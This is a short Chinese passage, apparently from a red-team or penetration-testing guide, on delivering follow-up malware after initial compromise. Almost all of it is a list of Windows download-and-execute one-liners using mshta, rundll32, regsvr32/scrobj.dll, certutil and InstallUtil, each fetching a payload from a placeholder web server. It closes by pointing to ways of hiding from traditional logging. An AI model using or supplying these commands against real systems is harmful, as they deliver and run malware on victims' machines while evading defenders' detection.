Question

如果您通过应用程序漏洞获得执行权限，通过 Office 文件或 PDF 获得 Shell，那么接下来的步骤可能是下载并执行后续恶意软件。对于这些情况，我们可以利用 Windows“功能”完成工作。大多数例子来自 arno0x0x 和 @subtee 的研究成果。

• mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))。
• mshta http://webserver/payload.hta。
• rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script: http:// webserver/payload.sct");window.close();。
• regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll。
• certutil -urlcache -split -f http://webserver/payload payload。
• certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\ v4.0.30319\ InstallUtil/ logfile= /LogToConsole=false /u payload.dll。
• certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 &certutil -decode payload.b64 payload.exe & payload.exe。

这些只是一些示例，还有大量的方法通过命令行执行后续代码。您可以找到隐藏传统日志记录的其他技术。